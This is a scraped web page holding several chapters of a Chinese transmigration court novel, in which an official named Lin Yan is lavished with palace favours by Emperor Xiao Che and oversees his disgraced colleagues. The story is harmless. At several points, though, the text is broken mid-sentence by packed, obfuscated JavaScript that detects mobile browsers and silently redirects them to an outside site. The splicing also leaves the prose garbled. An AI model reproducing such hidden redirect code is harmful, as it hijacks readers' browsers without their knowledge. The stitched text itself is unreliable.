l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434144|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “林卿可知,大渝的僧道,凭此度牒,可享哪些好处?”萧彻抛出一个问题。 林砚咽下嘴里的面条,想了想,试探着回答:“回陛下,臣略知一二,有度牒者,可免徭役,免赋税,名下田产亦不课税。” “不错。”萧彻微微颔首,“免徭役赋税,田产不课税,此为其一,其二,凭此牒,可自由出入各地寺庙道观挂单,食宿无忧,受人供奉,其三,若有真才实学,更可借此牒,入皇家宫观,为皇家主持法事,得享尊荣。” 总的来说,好处还是很多的。 免税、免徭役、公费吃喝,还能混进体制内吃皇粮。 【这哪是度牒?这简直是古代版的终身免税VIP卡+无限畅吃畅住通行证+编制直通车啊!】 林砚有点想去出家了。 “如此好处,天下趋之若鹜者,何止万千?”萧彻的声音带上了一丝冷意,“为了这张度牒,有多少人会削尖了脑袋,不择手段?地方官吏,又有多少会借此上下其手,中饱私囊?” “武海闵之流,不过是冰山一角。他们勾结地方,伪造印鉴,虚报师承,将一张张本该严加核验的度牒,变成了明码标价的商品,只要银钱到位,管你是杀人越货的江洋大盗,还是游手好闲的地痞无赖,摇身一变,就成了受戒清修的高僧大德。” 林砚听得倒吸一口凉气,嘴里的面条差点噎住。 好家伙!灰色产业链啊? 这要是混进去些很刑的人……嘶!不敢想! “这还只是其一。”萧彻的声音陡然转沉,“林卿可知,前朝末年,天下大乱,烽烟四起,诸多义军之中,有一支势力,便是借了神佛之名,蛊惑人心。” 这林砚还真不知道,他一个穿越的,还穿到了历史上不存在的朝代,属实知之甚少。 “彼时,朝廷对僧道度牒管理早已名存实亡,伪造度牒者不计其数,便有一伙贼人,假托弥勒降世,白莲救苦,伪造度牒,广招僧道,聚拢流民,自称白莲圣军。” “他们打着神佛的幌子,行的却是豺狼之事,攻城掠地,裹挟百姓,手段极其酷烈,更令人发指的是,他们迷信邪说,行人祭之礼,以童男童女为牺牲,剖心取肝,献祭所谓无生老母,声称如此便可刀枪不入,战无不胜,其状之惨,其行之恶,罄竹难书。” 林砚瞬间懂了,这不就是邪.教? “后来呢?”林砚忍不住问。 “那支圣军,打仗的本事稀松平常,可借着神佛之名蛊惑人心、裹挟百姓、行此灭绝人伦之事的手段,却使得炉火纯青,前朝官府腐朽,无力弹压,致使此祸蔓延,无数百姓家破人亡,白骨露于野,千里无鸡鸣。”萧彻的声音沉下去,“大渝开国皇帝,亦是亲眼目睹此等惨状,深知其害,故立国之初,便定下严律,度牒之发放,必由礼部祠部司严加核验,地方官印需清晰可辨,师承门派需查证有据,绝不容假,更严禁僧道妖言惑众,聚众滋事。” 林砚听得心惊肉跳,脑海中不由自主地蹦出一个词——赎罪券。 感觉套路差不多啊,都是利用信仰和特权敛财,腐蚀根基。 林砚瞬间理解了为什么萧彻对造假度牒如此深恶痛绝。 “陛下圣明,对于此等祸国殃民的邪.教异端,的确不能放纵。”林砚这次没有拍马屁,真心实意地说道。 萧彻闻言,笑了笑:“林卿不对,不光是邪.教异端。” 林砚:“嗯?” 紧接着,便听萧彻道:“凡不利于我大渝百姓者,朕皆除之。” 林砚怔了怔。 【卧槽,陛下好帅!】 15. 第 15 章 武海闵被关进刑部大牢的消息,如同在滚沸的油锅里泼了一瓢冷水,炸得整个京城官场都噼啪作响。 金吾卫的动作更是快得令人咋舌。 圣旨一下,披着玄甲的士兵便如虎狼般扑向了武府那朱漆大门,沉重的门栓在铁器撞击下发出不堪重负的呻.吟,轰然洞开。 平日里门庭若市的吏部尚书府邸,瞬间被肃杀之气笼罩。 “奉旨查抄!府内人等,原地待命!擅动者,格杀勿论!” 为首的金吾卫校尉声音冰冷府中仆役女眷的尖叫哭嚎、管事试图上前理论的呵斥,都被这肃杀的命令压得噤若寒蝉。 武府上下,从云端跌落泥沼,不过顷刻之间。 这就是皇权之下。 金吾卫的抄家,粗暴得像一场蝗灾过境。 箱笼被粗暴撬开,锦缎绫罗被随意抖落在地,珍玩玉器被登记造册后胡乱堆叠,名贵字画被卷起塞进麻袋。 武鸿祯,那位昔日跺跺脚六部都要抖三抖的吏部尚书,此刻面如死灰地瘫坐在正堂的太师椅上,眼睁睁看着自己经营半生的财富和体面被践踏、清点,几次试图起身,都被身旁按着刀柄,眼神如鹰隼般的金吾卫校尉逼了回去。 换作以往,区区一个金吾卫校尉,自是不会被武大人看在眼里,只是,今时不同往日了。 “爹!爹救我!”武海闵的弟弟武海峰试图冲过来,被两名金吾卫反剪双臂,死死按在地上,脸颊贴着冰冷的地砖,发出含糊的哭嚎。 武鸿祯闭上眼,他若有法子,又怎么会被人押在这里? 他倒是想救,可这偌大的武府连只苍蝇都飞不出去。 明面上,金吾卫的士兵三步一岗五步一哨,将偌大的府邸围得水泄不通。 暗地里,武鸿祯能清晰地感觉到,那些来自阴影处,更加冰冷黏稠的视线——金影卫,如同跗骨之蛆,无处不在。 之前总觉得自己是吏部尚书,可以轻易拿捏多少人的命脉,多么了不起,可他一个吏部尚书在皇权面前,一碰就粉身碎骨。 更让武鸿祯眼前发黑的是金吾卫抄出来的东西。 除了预料之中的金银细软、田产地契,竟还有几大箱内容极其丰富的账册和信件,以及……一箱子装帧精美、画风极其大胆的“月光”画册。 那箱子被一个愣头青金吾卫当众掀开,花花绿绿的图册散落一地,上面的“月光奏折玩法”栩栩如生,看得几个年轻士兵面红耳赤,也让武鸿祯的老脸瞬间涨成了猪肝色,恨不得当场找个地缝钻进去。 完了。 全完了。 这些见不得光的东西,每一样都是催命符。 武家现在就是砧板上的鱼肉,只等着皇帝一声令下,刑部和大理寺这两把刀就会落下,细细切割。 清漪阁侧殿。 林砚正抱着御猫阿蛮,享受难得的撸猫时光。 阿蛮大爷在他怀里摊成一张猫饼,喉咙里发出惬意的呼噜声,碧绿的猫眼半眯着,享受着铲屎官的服侍。 李莲顺轻手轻脚地进来,低声禀报:“林大人,陛下口谕。” 林砚赶紧把阿蛮放到软垫上,起身整理衣袍。 “今年重阳登高、赐宴百官诸事,一概取消,礼部祠部司不必再为此事操劳。”李连顺挥了挥拂尘。 林砚:“!!!” 他眨了眨眼,又眨了眨眼,确认自己没听错。 取消了?! 我的老天鹅! 我的亲娘祖宗! 我的陛下老板! 林砚整个人飘飘欲仙,几乎要原地起飞。 他努力控制着面部肌肉,不让那咧到耳根的笑容过于明显,对着太仪殿方向深深一揖:“臣领旨,陛下万岁万岁万万岁!” 声音洪亮,诚意十足。 阿蛮被他的大动作惊扰,不满地“喵”了一声,甩了甩尾巴,换了个姿势继续睡。 李连顺传完旨意便退下了,林砚在殿内转了两圈,感觉空气都清新了许多。 没过多久,李德福又亲自来了一趟,传达了皇帝的另一道旨意。 鉴于武海闵一案牵涉甚广,祠部司积弊待清,为便于林砚随时奏对和处置司务,特许他暂住宫中清漪阁侧殿,祠部司日常需要林砚经手的公务,会由新任主事谢明远整理好,转送入宫。 林砚听完,第一反应是不用早起通勤了? 第二反应是宫里有吃有喝! 第三反应——还有猫! 林砚立刻躬身领旨,脸上是压都压不住的轻松笑意:“臣谢陛下隆恩!定当恪尽职守,不负圣恩!” 于是,林砚便在清漪阁侧殿暂时安顿下来。 每日,谢明远会将需要他批阅或处理的卷宗公文准时送来。 林砚就在这窗明几净、熏着清雅梨香的侧殿里办公。 饿了有御膳房精致可口的点心饭菜,渴了有贡茶雪芽,累了还能撸一把御猫阿蛮,听听它那治愈的呼噜声。 除了环境过于高端让他偶尔有点脚不沾地的恍惚感,这工作条件简直吊打礼部公廨一百条街。 就是有一点,林砚有点摸不着头脑。 “李公公,陛下……又传我用膳?”林砚看着眼前笑容可掬的李莲顺,感觉这频率有点超标了。 萧彻怎么天天传他去御前一道用膳? 难道他长得很下饭? “林大人,陛下体恤您辛苦,这顿顿御膳,是多少人求都求不来的福分呐!”李莲顺笑得像朵花,心里也直犯嘀咕。 陛下对林大人也太上心了些,虽说林大人刚升了官,又牵扯进武海闵的案子,需要问话,可这天天叫来一起用膳,怎么看都有点过于亲厚了。 别说是臣子了,哪怕是宠冠六宫的娘娘,也不能天天跟陛下一块用膳的。 林砚只能跟着李莲顺走。 到了花厅,桌上照例摆满了珍馐美味。 萧彻坐在主位,神色如常。 “林卿来了,坐。”萧彻随意地指了指下首的位置,“今日这清蒸江鲈甚是新鲜,尝尝。” “谢陛下。”林砚小心翼翼地坐下,拿起筷子。 只是林砚还是忍不住想,萧彻顿顿饭都叫上他,为什么? 【又陛下您是不是一个人吃饭太寂寞了?】 【虽然很好吃,但顿顿这么吃,还跟您一张桌子……臣这小心脏有点承受不住。】 【这算不算新型职场压力测试?用御膳撑死我?】 【难道真的是因为我长得很下饭?】 林砚心里絮絮叨叨。 这个念头一闪而过,林砚自己都觉得荒谬,赶紧甩开。 萧彻优雅地用着膳,目光掠过林砚那副努力管理表情的样子,唇角弯了一下。 食色性也。 若从此论,林砚的确长得很下饭。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434145|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林砚猜萧彻大抵是因为处理了朝廷的蛀虫,所以心情甚好,说他既然名字为“砚”,便赏给他一方端砚。 据说贮水不耗,发墨不损毫的端砚,在大渝好像还是贡品来着。 怀里沉甸甸的触感时刻提醒着他这玩意儿有多贵重,以至于他走路都下意识地放轻了脚步,生怕磕着碰着这“祖宗”。 刚走到殿门口,眼前的景象让他脚步一顿,差点以为自己走错了地方。 殿门敞开着,里面人影绰绰,还传来轻微的器物挪动声和低低的说话声。 谁偷到皇宫里来了? 林砚几乎是同手同脚地挪了进去,定睛一看,悬着的心才“噗通”一声落回肚子里。 是李莲顺带着几个手脚麻利的小太监和宫女,正热火朝天地给他布置房间。 只见原本还算素雅的侧殿,正以肉眼可见的速度变得…… 富贵逼人。 靠窗那张半旧不新的书案不见了,取而代之的是一张宽大厚重、纹理如行云流水般的黄花梨木书案,桌面光可鉴人,散发着温润的光泽,旁边配套的椅子也换成了同款材质、铺着厚厚锦垫的太师椅。 床榻的帐子换了新的,一看就价值不菲,帐幔上还绣着精致的竹报平安图样。 地上铺上了厚实绵软的波斯地毯,踩上去如同陷入云端。 窗前的矮几上,换上了崭新的雨过天青釉梅瓶,里面插着几支开得正好的金桂,清甜的香气在殿内浮动。 连他随手放东西的矮柜都换成了镶嵌螺钿的紫檀木多宝格,上面还摆了几个看着就不便宜的玉器摆件。 李莲顺正指挥着一个小太监小心翼翼地往那张崭新的黄花梨大书案上摆放文房四宝——紫檀木的笔架、青玉的笔洗、玛瑙的镇纸…… 林砚低头看了看自己怀里那块端砚,默默把它放到了最显眼的位置。 “李公公……这是?”林砚看着这堪比五星级酒店套房的升级改造现场,有点懵。 李莲顺闻声回头,脸上立刻堆起比殿内金桂还灿烂的笑容,小步快趋迎上来:“哎哟,林大人回来了!您瞧瞧,这地方收拾得可还入眼?” 他一边说,一边殷勤地引着林砚往里走,指着那些新添置的物件,如数家珍:“这都是陛下亲口吩咐下来的,说林大人如今身负重任,操劳祠部司积弊,又暂居宫中,起居用度万不可委屈了。” “您看这书案,海南黄花梨的,老料!沉得很,稳当!陛下说您批阅公文费神,得用张好桌子,省得案牍劳形。”李莲顺拍了拍那光滑的桌面,发出沉闷的声响。 林砚:啊? “帐子用的可是内造的云锦!您摸摸,这料子,这绣工!”李莲顺捻起帐幔一角让林砚看,“陛下说了,公务再忙,也得歇息好,这床铺得厚实,保管您睡得安稳。” 林砚:啊啊? “这多宝格,紫檀嵌螺钿的,摆点您心爱的小玩意儿正合适,这梅瓶,汝窑的,雨过天青色,多雅致!插几支桂花,满室生香,提神醒脑!” 李莲顺像是报菜名一样,把殿内新添的每一样东西的来历、材质、好处都夸了个遍,末了,他特意凑近了些,压低声音:“林大人,陛下可是亲口吩咐了,给您用的都得是最好的!一点儿都不能含糊!” 林砚目瞪口呆。 这难道就是传说中的糖衣炮弹吗? 如果是的话……那能不能让这种糖衣炮弹多来点儿? 16. 第 16 章 林砚抱着毛茸茸的阿蛮,脚下底下是簇新厚实的波斯地毯,厚得能陷进去半个脚脖子,贵得能买下十条朱雀街的早点摊。 他坐在那把贵得离谱的黄花梨太师椅上,感觉像被钉在奢侈品展览馆的模特。 怀里御猫阿蛮正拿他簇新的五品绯色官袍当猫抓板,爪子勾着金线绣的云雁补子,发出细小的“嘶啦”声。 林砚麻木地低头,看着那价值不菲的补子上多了几道微不可查的毛刺。 算了,猫是御猫,袍子也是御赐的,就当内部消化了。 他的目光扫过眼前这张大到能躺下两个他的黄花梨书案,案上紫檀笔架挂着几支狼毫,青玉笔洗温润,玛瑙镇纸流光,还有那块刚被当祖宗供上来的端砚。 空气里飘着新家具的木头味,混着金桂甜香和沉水香。 奢华。 极致奢华。 林砚却觉得背上像爬满了蚂蚁。 不对劲。 太不对劲了。 他林砚,一个平平无奇的六品小官,哦,现在是五品了,何德何能? 皇帝大佬这连环招打得他眼冒金星。 先是升官——祠部司郎中,俸禄翻倍,职田暴涨,银子哗哗响。 再是包吃包住——住进清漪阁侧殿,御膳管够,贡茶管饱。 接着是精神抚慰——御猫阿蛮,毛茸茸暖乎乎,专治社畜抑郁。 然后是硬件升级——黄花梨书案、紫檀木太师椅、波斯地毯、螺钿多宝格……这书房配置,比尚书大人还豪横。 最后是顶级文具——端砚!发墨不损毫,贮水不耗的宝贝疙瘩! 这一套组合拳下来,林砚感觉自己像个被塞满了金元宝的稻草人,沉甸甸,晃悠悠,随时要散架。 为什么? 林砚的脑袋像个高速运转的算盘,噼里啪啦打着问号。 难道我是他走丢的亲儿子? 林砚立刻否决了这个离谱的想法,萧彻才二十几,生不出他这么大的崽。 难道他图我爹?图我舅?图我家那点微薄的人脉? 别开玩笑了,他爹也就是个工部的将作少匠,在皇帝眼里怕不是芝麻官里的芝麻官。 林砚的目光落在怀里阿蛮那双碧绿剔透、带着点睥睨众生的猫眼上。 难道……陛下是阿蛮的亲爹,我是阿蛮的干爹,所以爱屋及乌? 林砚被自己这脑洞惊得打了个哆嗦,赶紧甩甩头。 阿蛮不满地“喵”了一声,爪子在他手背上不轻不重地挠了一下。 排除所有不可能,剩下的那个…… 林砚的脸皱成了苦瓜。 职场PUA? 新型压榨手段? 先用糖衣炮弹把他喂饱、养懒、养娇气,让他住惯了好房子,吃惯了御膳房,撸惯了御猫,用惯了顶级文具,离了这些就浑身不自在,到时候,别说九九六了,就是零零七,他也得感恩戴德地接着干?因为他知道,一旦失去圣心,这些美好生活瞬间就会像泡沫一样“啪”地消失? 那也不至于,皇帝要他干活他不可能不干,不干就凉了啊。 林砚抱着猫,死活想不明白萧彻到底图啥。 …… 太仪殿。 李德福像根老树桩子似的戳在阴影里,罕见地有点走神。 他眼皮耷拉着,脑子里像被塞进了一团乱麻,嗡嗡作响。 清漪阁那位林大人……陛下这劲头,是不是有点太邪乎了? 每日传膳同吃,怕是日后陛下娶了皇后都不会有此等待遇给皇后。 御猫说送就送,那是陛下的心头肉。 升官加俸禄嘛,那是该当的。 可这寝殿布置……黄花梨、紫檀、波斯毯、汝窑瓶……这规格,都快赶上亲王了! 还有那方端砚,库房里拢共就三块! 李德福在宫里活了大半辈子,从先帝爷的潜邸跟到陛下登基,自认什么风浪都见过,什么心思都摸得透。 可陛下对林砚这路数,他看不懂,真的看不懂。 这已经不是简单的宠信能解释的了。 还是陛下突然转了性子,就好这口——喜欢看年轻臣子受宠若惊、手足无措、然后被他养得白白胖胖继续压榨的调调? 李德福被自己这大不敬的念头惊出一身冷汗,赶紧掐灭。 可那疑惑像藤蔓,死死缠着他的心。 “李德福。” 一个清冷平稳的声音,毫无预兆地穿透李德福纷乱的思绪。 李德福浑身一个激灵,魂魄瞬间归位,抬眼一看,陛下不知何时已站在御书房门口,玄色常服衬得身形挺拔,那双凤眸正淡淡地看着他,里面没什么情绪,却让李德福后背的汗毛瞬间立正。 他噗通一声跪倒在地,额头重重磕在冰凉的金砖上:“老奴该死!老奴走神了!请陛下责罚!”声音带着颤抖。 完了! 御前失仪! 还是被陛下抓个正着! 李德福的心沉到了谷底,感觉脖子上的老皮都绷紧了。 萧彻没叫他起来,也没立刻发落,只是居高临下地看着他花白的头顶,片刻,才开口,声音依旧听不出喜怒:“唤你两次都不应,在想什么?想 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他脸色煞白,嘴唇哆嗦着,一个字也吐不出来,只剩下满眼的惊恐和“我命休矣”的绝望。 萧彻看着李德福那副魂飞天外的样子,眼底深处掠过极淡的兴味。 他并不在意李德福的揣测。 “不必瞎猜。”萧彻的声音平缓地响起,打破了令人窒息的沉默,“没什么别的原因。” 他顿了顿,目光似乎穿透了重重宫墙,落在了清漪阁那个正抱着猫怀疑人生的身影上,吐出四个字:“朕,就是喜欢。” 李德福:“!!!” 他猛地抬起头,老眼瞪得溜圆,嘴巴无意识地张开,脸上的皱纹仿佛瞬间被冻住,凝固成一个极其惊骇、极其茫然的表情。 喜、喜欢?! 哪个喜欢?! 是陛下对能干臣子的那种欣赏器重的喜欢?就像陛下喜欢户部张尚书那样,因为张尚书会搞钱? 还是……还是男人对女人的那种喜欢?!就像……就像史书上那些个…… 我的天爷啊! 李德福短短一瞬间,感觉自己已经看见了先皇和先皇后。 陛下说喜欢林大人? 他不敢问。 一个字都不敢问。 李德福像个被抽掉了灵魂的木偶,僵硬地杵在原地,只有眼珠子在眼眶里疯狂震动,充分诠释着什么叫“瞳孔地震”。 萧彻看着李德福那张彻底石化的脸,略有些无语,好歹也是个大总管,至于吓成这样? 17. 第 17 章 值房的门“吱呀”一声被推开,熏得林砚下意识地后退了半步。 里面光线昏暗,几扇高窗透进的天光勉强勾勒出人影。 七八个穿着皱巴巴官袍的人挤在狭小的空间里,或坐或站,个个形容憔悴,眼窝深陷,像一群被雨水打蔫了的鹌鹑,听到开门声,他们齐刷刷地抬起头,浑浊呆滞的目光聚焦在门口逆光的身影上。 当林砚一步跨入,那身崭新的五品绯色官袍,在昏暗的室内如同投入死水的一块烧红的烙铁,瞬间烫醒了所有人的神经。 “林大人?”主事王俭最先反应过来,声音干涩发颤。 “林大人!” “林大人您来了!” 如同被投入石块的池塘,死寂瞬间被打破。 原本瘫坐在地的老令史,手脚并用地想爬起来行礼,却因为腿麻又跌坐回去,缩在角落的年轻书办,眼睛瞪得像铜铃,王俭更是连滚带爬地冲到最前面,脸上挤出比哭还难看的笑容,腰弯得几乎要折过去。 所有人的目光都死死黏在林砚身上,那眼神里有惊惧,有讨好,有绝望中抓住最后一根稻草的狂热。 武海闵倒了,郑经没了,他们这些被关在宫里、消息断绝的人,如同待宰的羔羊。 而此刻出现的林砚,穿着五品绯袍,神色平静,步履从容,身后还跟着司礼监大太监李德福的干儿子李莲顺! 这意味着什么? 意味着林砚不仅没倒,还升了官! 更意味着他深得圣心,是如今唯一能在陛下面前说得上话的人! “林大人!您可算来了!”王俭的声音带着哭腔,激动得语无伦次,“下官们……下官们日夜悬心,唯恐……” “打住。”林砚可不想把用在武海闵身上那套用在自己身上。 他目光平静地扫过一张张惶恐不安的脸,在礼部公廨,这些人或明或暗,哪个没跟着武海闵踩过他几脚?哪个没把棘手文书往他案头推?如今这副摇尾乞怜的模样,只让他觉得滑稽又刺眼。 谄媚得这么用力,腮帮子不酸吗? 早知今日,当初少甩点锅,少摸点鱼,何至于此? 现在知道怕了?晚了。 林砚压下心头那点翻腾的情绪,清了清嗓子,语气公事公办:“本官奉陛下口谕,来看看诸位。” “陛下圣明!陛下隆恩!”众人又是一阵感激涕零的叩拜,仿佛萧彻派林砚来是给他们发金元宝的。 林砚懒得看他们表演,目光转向李莲顺带来的两个小太监。 他们合力抬着一个沉甸甸的大木箱,“咚”地一声放在地上,扬起的灰尘呛得人直咳嗽。 林砚走过去,掀开箱盖。 里面是堆得满满当当的卷宗、文书、笔墨纸砚。 “陛下说了,诸位同僚在宫里休养多日,想必精神头都养足了。”林砚说着顿了顿,他自己都想笑,萧彻也太难胡扯了。 除了他,谁到宫中不是来吃苦的? “祠部司的公务,堆积如山,总不能一直荒废着,我等身为祠部司官员,虽暂居此地,然俸禄照领,职责犹在,岂能尸位素餐?”林砚随手拿起最上面一份卷宗,“大家的公务陛下已经派人取来了。” 众人:“……” 林砚翻开卷宗,看了一眼,扔给王俭:“王主事,这是你的。” 他的目光精准地落在王俭身上,后者脸色一白。 “还有这份,秋祭各地进献祥瑞名录的初步整理与逾制核查,李令史,你的?”林砚又拿起一份。 “这份,僧道度牒发放后地方寺庙道观田产增录复核,赵主簿,你的?” 他一份份点过去,每点一份,被点到的人脸色就白一分,额头的冷汗就多一层。 他们从未想过,在武海闵面前弱小可怜、卑躬屈膝的林砚,原来还有这副面孔。 “这些,都是本该由诸位完成的公务。”林砚把手中的卷宗轻轻丢回箱子,发出沉闷的响声,“武海闵在时如何,本官不管,如今本官是祠部司郎中,那这规矩,就得按我的来。” 他环视一圈,看着那些煞白的脸,缓缓道:“从今日起,诸位就在此地将各自分内的公务,一一厘清,做完,纸笔管够,地方也够用,做完了,自有内侍来取。” 死一般的寂静。 刚才那点虚假的感激和讨好,瞬间被巨大的绝望和不敢置信取代。 把他们关在宫里,还要他们干活?还是在这种破地方? 王俭的嘴唇哆嗦着,脸色由白转青,他鼓起这辈子最大的勇气,往前蹭了一小步,声音抖得不成样子:“林……林大人,下官斗胆……敢问、敢问陛下……何时能放我等出宫?” 这句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434147|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话问出了所有人的心声,一道道目光如同探照灯,死死聚焦在林砚脸上,充满了希冀。 林砚迎上王俭的目光,脸上没什么表情。 “陛下自有圣裁。”他的声音平淡得像在陈述天气,“诸位与其忧心何时出宫,不如先想想,如何把手头的公务办得漂亮些,在其位,不谋其职,这宫门出去了,只怕要进死门。” 最后那句话,轻飘飘的,却像一记重锤,狠狠砸在每个人心上。 在其位,不谋其职。 陛下这是要清算他们往日里的懈怠和渎职! 王俭腿一软,踉跄着后退一步,差点瘫倒在地,其他人更是面无人色。 这些人无一例外,心里想的都是被皇帝清算还能不能保住一家老小。 林砚看着他们如丧考妣的样子,暗自吐了一口气。 从他和萧彻这些日子的接触来看,萧彻并非残暴之君,不会动不动就要杀人,却也不是能容得下偷奸耍滑之辈的人。 要不是这些人平日里在工作上多有怠慢,也不会被萧彻关在此地折磨心志。 “各位,好自为之。”林砚不再看这群失魂落魄的人,转身对李莲顺点了点头:“李公公,有劳你安排人,每日按时给他们送饭食饮水,笔墨纸张若有短缺,也及时补充。” “林大人放心,奴婢省得。”李莲顺恭敬应下。 林砚最后扫了一眼这间昏暗的值房,迈步走了出去。 厚重的木门在他身后“哐当”一声关上,隔绝了里面死寂的绝望,也隔绝了那令人窒息的浑浊空气。 门外,秋日的阳光明晃晃地洒在宫道上,金砖铺地,飞檐流丹,空气里是清冽的草木气息和若有若无的沉水香。 林砚站在阳光下,深深吸了一口这干净清冷的空气,感觉肺管子都被刚才值房里的浊气腌入味了。 值房已经如此难忍,也不知武海闵跟他的吏部尚书爹在大牢里,会是什么样子。 林砚甩了甩头,抬脚往清漪阁的方向走,前方是他那间熏着梨香、铺着波斯地毯、有御猫阿蛮等着他的豪华“工位”。 两相对比,简直是天堂和地狱。 林砚走着走着,脚步不自觉地慢了下来。 一个念头,不受控制地从心底冒出来,越来越清晰。 萧彻对他……是不是好得有点过分了? 18. 第 18 章 林砚抱着阿蛮美美地睡了一觉,抻着懒腰起床。 扭着脖子晃动着胳膊去开门,林砚刚拉开门,一股子刁钻的寒气便像贼似的,顺着缝隙“滋溜”一下钻了进来,直扑林砚面门。 “嘶——” 林砚猛地倒抽一口冷气,整个人激灵灵打了个哆嗦,起了一身的鸡皮疙瘩。 怎么回事? 昨天还没这么冷。 这天气也不讲武德? 林砚身上那件在殿内穿着正好的单薄夹棉常服,此时便不合时宜了,原本还想出门走动走动,现下也只能躲回屋子里。 “阿嚏!”一个响亮的喷嚏不受控制地打出来。 阿蛮被他动作惊醒,不满地“喵”了一声,从林砚怀里钻出个毛茸茸的脑袋,碧绿的猫眼带着被扰清梦的睥睨,嫌弃地瞥了他一眼,又把脑袋埋了回去,只留给他一个毛茸茸、暖烘烘的屁股墩儿。 “嘿,你还挺嫌弃我。”林砚不服输,又狠狠埋在阿蛮的肚子里吸了一通。 阿蛮象征性地扭了扭,没跟林砚计较。 林砚抱着阿蛮,脑子飞快转动。 进宫仓促,只带了随身几件常服,根本没预备更厚的衣裳。 是不是得请李莲顺帮忙,派人回趟家,把他的衣裳给取来? 林砚正琢磨着怎么开这个口,殿外便传来了脚步声,由远及近,听着还不止一个人。 “林大人?”李莲顺带着点笑意的尖细嗓音在门外响起。 林砚一激灵,赶紧掀开被子坐起身,把怀里充当暖炉的阿蛮小心放到软垫上,又飞快地理了理自己滚得有些凌乱的衣襟和头发,清了清嗓子:“李公公请进。” 殿门被推开,李莲顺那张白净圆润的脸探了进来,脸上依旧堆着那仿佛用尺子量过的恭敬笑容。 只是他身后跟着的景象,让林砚刚坐直的身体又僵住了。 只见四个身强力壮的小太监,吭哧吭哧地抬着两个硕大的朱漆描金大箱子,一步一个脚印地挪进了殿内,那箱子分量显然不轻,落地时发出沉闷的“咚”“咚”两声,震得地板都似乎颤了颤。 林砚看着那两个几乎能塞下两个他的大箱子,脑子有点宕机。 这是要干嘛?搬家吗? 李莲顺笑眯眯地走上前,拂尘一甩,对着林砚躬身道:“林大人,天儿骤寒,陛下体恤大人,特命人给大人添置几身新衣御寒。”他指了指那两个巨大的箱子,“喏,都在这儿了。” 林砚的目光在两个大箱子和李莲顺的笑脸之间来回扫视,嘴巴微张,一时竟忘了反应。 萧彻给他添衣,也用不着两大箱子吧? 我滴个乖乖,这不比他所有的衣服加起来都多? 而且才刚赏了端砚,又赏两大箱新衣服……林砚不合时宜地想到了一句台词:“这可是上上荣宠……” 咦惹。 林砚被自己脑海里的画面惊得一阵恶寒,赶紧抖了抖,把不该出现的画面甩出脑海。 “臣叩谢陛下隆恩,陛下体恤入微,臣感激涕零。”林砚真心实意地朝着太仪殿的方向垂首谢恩。 老板真好,老板真大方,一定要继续这么大方啊。 刚在心底感叹完“老板真大方”,殿门外光线一暗,一个熟悉的身影便踱了进来。 玄色常服,暗金龙纹,身姿挺拔,不是萧彻又是谁? 林砚心头一跳,赶紧又拜下去:“微臣参见陛下。” 萧彻随意地摆了摆手,目光掠过地上那两个硕大的箱子,又落在林砚身上那件单薄的夹棉常服上,眉头几不可察地蹙了一下:“起来吧,这天寒得突然,宫里各处都开始烧炭火了,你这里可还暖和?” “回陛下,殿内地龙尚可,只是……”林砚看了一眼那箱子,老实道,“只是微臣衣裳单薄,方才确实冻着了,幸得陛下恩赐冬衣,解了燃眉之急。” 萧彻“嗯”了一声,走到其中一个打开的箱子前,随手拨弄了一下里面叠放整齐、一看就厚实暖和的衣料,指尖捻起一片光滑的皮毛领子,目光在林砚身上打了个转。 “既然送来了,林卿便试试看吧。”萧彻的声音听不出什么情绪,仿佛在说一件再平常不过的事,“若有不合身之处,也好让尚衣监的人及时改改。” 试试? 林砚看着那一大箱子衣服,又看看萧彻那平静无波的脸。 现在?一件一件试? 陛下您……该不会有什么玩奇迹暖暖的爱好吧? 可这念头刚冒出来,就被“老板让你试你敢不试吗”的现实一巴掌拍回去了。 “是,臣遵旨。”林砚应下。 李莲顺立刻像打了鸡血,化身金牌导购,指挥着小太监们把箱子里的衣服一件件拿出来,抖开,展示。 “林大人您瞧,”李莲顺拿起一件深青色缂丝团云纹的厚缎长袍,内里絮着厚厚的新棉,领口袖口镶着一圈油光水滑的玄狐皮,“这是内造的缂丝棉袍,最是挡风保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434148|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖,您摸摸这玄狐领子,多厚实!” 他又拎起一件石青色的云锦面灰鼠皮里鹤氅:“这件鹤氅也极好,云锦的料子,灰鼠皮的里子,又轻又暖,穿上跟裹着团云似的!” 林砚看得眼花缭乱,感觉自己像个即将被摆弄的洋娃娃。 